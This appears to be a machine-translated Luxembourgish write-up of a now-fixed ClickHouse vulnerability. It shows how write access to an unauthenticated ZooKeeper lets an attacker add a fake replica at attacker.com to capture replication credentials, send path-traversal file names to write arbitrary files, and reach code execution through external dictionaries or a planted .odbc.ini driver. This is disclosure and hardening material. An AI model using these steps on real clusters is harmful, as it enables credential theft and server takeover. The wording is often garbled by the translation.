Firwat musst Dir Zoo Käfeg zou halen?

Firwat musst Dir Zoo Käfeg zou halen?

Dësen Artikel wäert d'Geschicht vun enger ganz spezifescher Schwachstelle am ClickHouse Replikatiounsprotokoll erzielen, a wäert och weisen wéi d'Attackfläch erweidert ka ginn.

ClickHouse ass eng Datebank fir grouss Bänn vun Daten ze späicheren, déi meeschtens méi wéi eng Replika benotzt. Clustering a Replikatioun am ClickHouse ginn uewen opgebaut Apache ZooKeeper (ZK) a verlaangen schreiwen Rechter.

D'Standard ZK Installatioun erfuerdert keng Authentifikatioun, sou datt Dausende vun ZK Serveren benotzt ginn fir Kafka, Hadoop, ClickHouse ze konfiguréieren sinn ëffentlech verfügbar.

Fir Är Attacke Uewerfläch ze reduzéieren, sollt Dir ëmmer d'Authentifikatioun an d'Autorisatioun konfiguréieren wann Dir ZooKeeper installéiert

Et ginn natierlech e puer 0day baséiert Java Deserialisatiounen, awer stellt Iech vir datt en Ugräifer op ZooKeeper liesen a schreiwen kann, benotzt fir ClickHouse Replikatioun.

Wann am Cluster Modus konfiguréiert ass, ënnerstëtzt ClickHouse verdeelt Ufroen DDL, duerch ZK passéieren - fir si sinn Node am Blat erstallt /clickhouse/task_queue/ddl.

Zum Beispill erstellt Dir en Node /clickhouse/task_queue/ddl/query-0001 mat Inhalt:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

an duerno gëtt den Testdësch op de Stärekoupserver Host1 an Host2 geläscht. DDL ënnerstëtzt och CREATE / ALTER / DROP Ufroen ze lafen.

Kläng grujeleg? Awer wou kann en Ugräifer Serveradressen kréien?

ClickHouse Replikatioun Wierker um Niveau vun eenzelne Dëscher, sou datt wann en Dësch am ZK erstallt gëtt, gëtt e Server spezifizéiert, dee verantwortlech ass fir den Austausch vun Metadaten mat Repliken. Zum Beispill, wann Dir eng Ufro ausféiert (ZK muss konfiguréiert sinn, chXX - Numm vun der Replica, foobar - Dësch Numm):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

Wirbelen erstallt ginn Saile и Metadate.

Inhalt /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Ass et méiglech Daten aus dësem Cluster ze fusionéieren? Jo, wann de Replikatiounsport (TCP/9009) um Server chXX-address d'Firewall gëtt net zougemaach an d'Authentifikatioun fir d'Replikatioun gëtt net konfiguréiert. Wéi ëmgoen ech d'Authentifikatioun?

En Ugräifer kann eng nei Replica an ZK erstellen andeems Dir einfach den Inhalt kopéiert /clickhouse/tables/01-01/foobar/replicas/chXX an d'Bedeitung änneren host.

Inhalt /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Da musst Dir déi aner Repliken soen datt et en neie Block vun Daten um Server vum Ugräifer ass dee se brauchen ze huelen - e Node gëtt an ZK erstallt /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monoton wuesse Konter, dee soll méi grouss sinn wéi dee leschten am Event Log):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

wou source_replik - den Numm vun der Replika vum Ugräifer erstallt am virege Schrëtt, block_id - Dateblock Identifizéierer, kréien - "Blockéieren" Kommando (an hei sinn Kommandoe fir aner Operatiounen).

Als nächst liest all Replik en neit Event am Logbuch a geet op e Server deen vum Ugräifer kontrolléiert gëtt fir e Block vun Daten ze kréien (de Replikatiounsprotokoll ass binär, leeft uewen op HTTP). Server attacker.com kritt Ufroen:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

wou XXX d'Authentifikatiounsdaten fir Replikatioun ass. A verschiddene Fäll kann dëst e Kont sinn mat Zougang zu der Datebank iwwer den Haapt ClickHouse Protokoll an den HTTP Protokoll. Wéi Dir gesinn hutt, gëtt d'Attackfläch kritesch grouss well ZooKeeper, fir Replikatioun benotzt, ouni Authentifikatioun konfiguréiert gouf.

Loosst eis d'Funktioun kucken fir e Block vun Daten aus enger Replika ze kréien, et ass mat voller Vertrauen geschriwwen datt all Repliken ënner enger korrekter Kontroll sinn an et Vertrauen tëscht hinnen ass.

Firwat musst Dir Zoo Käfeg zou halen?
Replikatiounsveraarbechtungscode

D'Funktioun liest eng Lëscht vu Dateien, dann hir Nimm, Gréissten, Inhalter, a schreift se dann an de Dateiesystem. Et ass derwäert getrennt ze beschreiwen wéi Daten am Dateiesystem gespäichert ginn.

Et gi verschidde Ënnerverzeechnungen an /var/lib/clickhouse (Standard Späicherverzeechnes vun der Konfiguratiounsdatei):

Fändelen - Verzeechnes fir opzehuelen Fändelen, benotzt an Erhuelung nom Dateverloscht;
tmp - Verzeechnes fir temporär Dateien ze späicheren;
user_dateien - Operatioune mat Dateien an Ufroe sinn op dësem Verzeechnes limitéiert (INTO OUTFILE an anerer);
Metadate - sql Dateien mat Tabellbeschreiwungen;
preprocessed_configs - veraarbecht derivative Konfiguratiounsdateien aus /etc/clickhouse-server;
Donnéeën - den aktuellen Verzeechnes mat den Donnéeën selwer, an dësem Fall gëtt fir all Datebank e separaten Ënnerverzeechnes einfach hei erstallt (zum Beispill /var/lib/clickhouse/data/default).

Fir all Dësch gëtt en Ënnerverzeechnes am Datebankverzeechnes erstallt. All Kolonn ass eng separat Datei ofhängeg vun motorformat. Zum Beispill fir en Dësch foobarvun engem Ugräifer erstallt ginn, ginn déi folgend Dateien erstallt:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

D'Replica erwaart Dateie mat de selwechten Nimm ze kréien wann Dir e Block vun Daten veraarbecht a validéiert se op kee Fall.

Den opmierksame Lieser huet wahrscheinlech scho vun der onsécherer Konkatenatioun vum File_name an enger Funktioun héieren WriteBufferFromFile. Jo, dëst erlaabt en Ugräifer arbiträr Inhalt op all Datei op der FS mat Benotzerrechter ze schreiwen clickhouse. Fir dëst ze maachen, muss d'Replique, déi vum Ugräifer kontrolléiert gëtt, déi folgend Äntwert op d'Ufro zréckginn (Linnpausen goufen derbäigesat fir d'Verständnis ze vereinfachen):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

an no concatenation ../../../../../../../../../tmp/pwned de Fichier wäert geschriwwe ginn /tmp/pwned mat Inhalt hellofromzookeeper.

Et gi verschidde Méiglechkeeten fir d'Datei Schreiffäegkeet an d'Remote Code Ausféierung (RCE) ëmzewandelen.

Extern Dictionnairen an RCE

An eelere Versioune gouf de Verzeechnes mat ClickHouse Astellunge mat Benotzerrechter gespäichert clickhouse Default. Astellungsdateien sinn XML-Dateien déi de Service beim Start liest an dann caches an /var/lib/clickhouse/preprocessed_configs. Wann Ännerungen optrieden, gi se nei gelies. Wann Dir Zougang zu /etc/clickhouse-server en Ugräifer kann seng eege schafen extern Wierderbuch ausführbaren Typ an dann arbiträr Code ausféieren. Aktuell Versioune vu ClickHouse bidden keng Rechter als Standard, awer wann de Server graduell aktualiséiert gouf, kënnen esou Rechter bleiwen. Wann Dir e ClickHouse Stärekoup ënnerstëtzt, kontrolléiert d'Rechter op den Astellungsverzeichnis, et muss dem Benotzer gehéieren root.

ODBC zu RCE

Wann Dir e Package installéiert, gëtt e Benotzer erstallt clickhouse, awer säin Heemverzeichnis gëtt net erstallt /nonexistent. Wéi och ëmmer, wann Dir extern Dictionnairen benotzt, oder aus anere Grënn, erstellen d'Administrateuren e Verzeichnis /nonexistent a gitt de Benotzer clickhouse Zougang fir et ze schreiwen (SSZB! ca. Iwwersetzer).

ClickHouse ënnerstëtzt ODBC a kann mat anere Datenbanken konnektéieren. An ODBC, kënnt Dir de Wee zu der Datebank Chauffer Bibliothéik uginn (.so). Eeler Versioune vu ClickHouse hunn Iech erlaabt dëst direkt am Ufro-Handler ze maachen, awer elo ass eng méi strikt Kontroll vun der Verbindungsstring dobäigesat ginn odbc-bridge, also ass et net méi méiglech de Chaufferwee aus der Ufro ze spezifizéieren. Awer kann en Ugräifer an den Heemverzeichnis schreiwen mat der Schwachstelle déi uewen beschriwwen ass?

Loosst eis eng Datei erstellen ~/.odbc.ini mat Inhalt wéi dësen:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

dann op Startup SELECT * FROM odbc('DSN=lalala', 'test', 'test'); d'Bibliothéik gëtt gelueden test.so a krut RCE (Merci buglloc fir den Tipp).

Dës an aner Schwachstelle goufen an der ClickHouse Versioun 19.14.3 fixéiert. Passt op Är ClickHouse an ZooKeepers!

Source: will.com

Setzt e Commentaire